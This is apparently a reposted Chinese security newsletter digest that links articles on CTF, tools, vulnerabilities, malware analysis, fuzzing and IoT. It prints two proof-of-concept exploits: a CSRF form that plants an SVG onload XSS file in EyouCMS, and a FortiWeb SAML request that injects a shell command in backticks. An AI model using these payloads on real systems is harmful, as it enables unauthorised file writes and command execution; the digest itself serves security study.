知识的搬运工系列-本期文章汇总

 1<html>
 2  <!-- CSRF PoC - Create /template/hack1.htm-->
 3  <body>
 4  <script>history.pushState('', '', '/')</script>
 5    <form action="http://localhost/eyoucms/login.php?m=admin&c=Filemanager&a=newfile&lang=cn" method="POST">
 6      <input type="hidden" name="activepath" value="&#47;template" />
 7      <input type="hidden" name="filename" value="hack1&#46;htm" />
 8      <input type="hidden" name="content" value="&lt;svg&#32;onload&#61;alert&#40;&quot;hack&quot;&#41;&gt;" />
 9      <input type="submit" value="Submit request" />
10    </form>
11  </body>
12</html>

Fortinet FortiWeb OS 命令注入

FortiWeb 管理界面（版本 6.3.11 及更早版本）中的操作系统命令注入漏洞可允许远程、经过身份验证的攻击者通过 SAML 服务器配置页面在系统上执行任意命令。

https://mp.weixin.qq.com/s/-qJh2u0mbrKWxWNCZgOrVw

 1POST /api/v2.0/user/remoteserver.saml HTTP/1.1
 2Host: [redacted]
 3Cookie: [redacted]
 4User-Agent: [redacted]
 5Accept: application/json, text/plain, */*
 6Accept-Language: en-US,en;q=0.5
 7Accept-Encoding: gzip, deflate
 8Referer: https://[redacted]/root/user/remote-user/saml-user/
 9X-Csrftoken: 814940160
10Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
11Content-Length: 3068
12Origin: https://[redacted]
13Dnt: 1
14Te: trailers
15Connection: close
16-----------------------------94351131111899571381631694412
17Content-Disposition: form-data; name="q_type"
181
19-----------------------------94351131111899571381631694412
20Content-Disposition: form-data; name="name"
21`touch /tmp/vulnerable`
22-----------------------------94351131111899571381631694412
23Content-Disposition: form-data; name="entityID"
24test
25-----------------------------94351131111899571381631694412
26Content-Disposition: form-data; name="service-path"
27/saml.sso
28-----------------------------94351131111899571381631694412
29Content-Disposition: form-data; name="session-lifetime"
308
31-----------------------------94351131111899571381631694412
32Content-Disposition: form-data; name="session-timeout"
3330
34-----------------------------94351131111899571381631694412
35Content-Disposition: form-data; name="sso-bind"
36post
37-----------------------------94351131111899571381631694412
38Content-Disposition: form-data; name="sso-bind_val"
391
40-----------------------------94351131111899571381631694412
41Content-Disposition: form-data; name="sso-path"
42/SAML2/POST
43-----------------------------94351131111899571381631694412
44Content-Disposition: form-data; name="slo-bind"
45post
46-----------------------------94351131111899571381631694412
47Content-Disposition: form-data; name="slo-bind_val"
481
49-----------------------------94351131111899571381631694412
50Content-Disposition: form-data; name="slo-path"
51/SLO/POST
52-----------------------------94351131111899571381631694412
53Content-Disposition: form-data; name="flag"
540
55-----------------------------94351131111899571381631694412
56Content-Disposition: form-data; name="enforce-signing"
57disable
58-----------------------------94351131111899571381631694412
59Content-Disposition: form-data; name="enforce-signing_val"
600
61-----------------------------94351131111899571381631694412
62Content-Disposition: form-data; name="metafile"; filename="test.xml"
63Content-Type: text/xml
64<?xml version="1.0"?>
65<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
66<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
67<md:KeyDescriptor use="signing">
68<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
69<ds:X509Data>
70<ds:X509Certificate>test</ds:X509Certificate>
71</ds:X509Data>
72</ds:KeyInfo>
73</md:KeyDescriptor>
74<md:KeyDescriptor use="encryption">
75<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
76<ds:X509Data>
77<ds:X509Certificate>test</ds:X509Certificate>
78</ds:X509Data>
79</ds:KeyInfo>
80</md:KeyDescriptor>
81<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
82<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
83</md:IDPSSODescriptor>
84</md:EntityDescriptor>
85-----------------------------94351131111899571381631694412--
86HTTP/1.1 500 Internal Server Error
87Date: Thu, 10 Jun 2021 11:59:45 GMT
88Cache-Control: no-cache, no-store, must-revalidate
89Pragma: no-cache
90Set-Cookie: [redacted]
91X-Frame-Options: SAMEORIGIN
92X-XSS-Protection: 1; mode=block
93Content-Security-Policy: frame-ancestors 'self'
94X-Content-Type-Options: nosniff
95Content-Length: 20
96Strict-Transport-Security: max-age=63072000
97Connection: close
98Content-Type: application/json
99{"errcode": "-651"}

Exchange proxyshell

https://blog.csdn.net/HBohan/article/details/119780758

https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-add-attachments-by-using-ews-in-exchange

https://www.hedysx.com/2782.html

https://www.thezdi.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

https://mp.weixin.qq.com/s/-qJh2u0mbrKWxWNCZgOrVw

Xstream反序列化远程代码执行漏洞

暂无

0x05安全防护

开源蜜罐相关

https://www.sohu.com/a/192359353_653604

0x06 样本分析

0x07 FUZZ 学习

https://github.com/antonio-morales/Fuzzing101

0x08 IOT

控制整个小区住户的智能家居与可视对讲

https://mp.weixin.qq.com/s/4sez8QcAmCcQTuBxH03ZFg

本文始发于微信公众号（无级安全）：知识的搬运工系列-本期文章汇总

左青龙
微信扫一扫

右白虎
微信扫一扫

知识的搬运工系列-本期文章汇总

0x01 CTF

0X02 实战相关

java

免杀

0x03 工具使用

AWVS14.4

BurpSuite2021.8.1

红队信息收集可视化Pulsar

0x04 漏洞

EyouCMS 跨站脚本漏洞

EyouCMS 跨站请求伪造漏洞

Fortinet FortiWeb OS 命令注入

Exchange proxyshell

Xstream反序列化远程代码执行漏洞

0x05安全防护

开源蜜罐相关

0x06 样本分析

对APT攻击样本的探索

Linux挖矿木马WorkMiner

假冒FBI、CIA传播多个病毒木马，中招将被完全控制，还会群发邮件感染U盘

0x07 FUZZ 学习

0x08 IOT

控制整个小区住户的智能家居与可视对讲

如何查 Linux 系统的安装日期

被忽视的高危漏洞

谍影重重：揭秘间谍的掩护技巧

【哈希校验值的变与不变】

IOS中的输入法

2024Hw蓝队初级面试押题

真相 | 国际金融公司雇佣前间谍？

漫谈网络安全（连载二）

【技巧】核查工具箱：车牌查询（有视频）

【技术分享】光盘有损修复那些事（一）：光盘和有损光盘

发表评论

在线咨询

微信